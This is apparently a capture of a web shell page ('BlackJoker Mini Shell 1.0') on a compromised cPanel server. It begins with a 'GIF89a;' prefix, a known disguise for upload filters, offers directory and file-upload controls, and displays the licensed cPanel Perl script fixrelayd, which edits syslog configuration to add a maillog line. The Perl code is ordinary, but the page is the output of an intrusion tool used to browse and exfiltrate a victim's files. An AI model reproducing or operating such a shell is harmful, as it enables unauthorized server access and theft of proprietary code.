GIF89a; Mini Shell

Mini Shell

Direktori : /scripts/
Upload File :
Current File : //scripts/fixrelayd

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/fixrelayd                       Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;
use Cpanel::OS;

# Don't let this run on Ubuntu servers where the rsyslog path is something like /etc/rsyslog.d/50-default.conf , we use their defaults
if ( Cpanel::OS::maillog_path() ne '/var/log/maillog' ) {
    print "This script is not meant for this distro, exiting..\n";
    exit;
}

foreach my $file ( '/etc/syslog.conf', '/etc/rsyslog.conf' ) {
    next if !-e $file;
    my $logger = ( split /\//, $file )[-1];
    my $script = ( split /\./, $logger )[0];

    my $line_exists = 0;
    if ( open my $read_fh, '<', $file ) {    # don't die because you want it to keep going
        $line_exists = grep /local0\.notice\;local0\.debug\;mail\.\*\;mail\.none\;mail\.info\;local0\.info\s+\/var\/log\/maillog/, <$read_fh>;
        close $read_fh;

        if ( !$line_exists ) {
            if ( open my $write_fh, '>>', $file ) {    # don't die because you want it to keep going
                print {$write_fh} "local0.notice;local0.debug;mail.*;mail.none;mail.info;local0.info /var/log/maillog\n";
                close $write_fh;
            }
            else {
                print "Warn: could not add entry to $logger\n";
            }
        }
        else {
            print "Warn: duplicate entry in $logger $line_exists times\n" if $line_exists > 1;
        }
    }
    else {
        print "Could not check $logger\n";
    }
    system( "/etc/init.d/$script", 'restart' );
}

./BlackJoker Mini Shell 1.0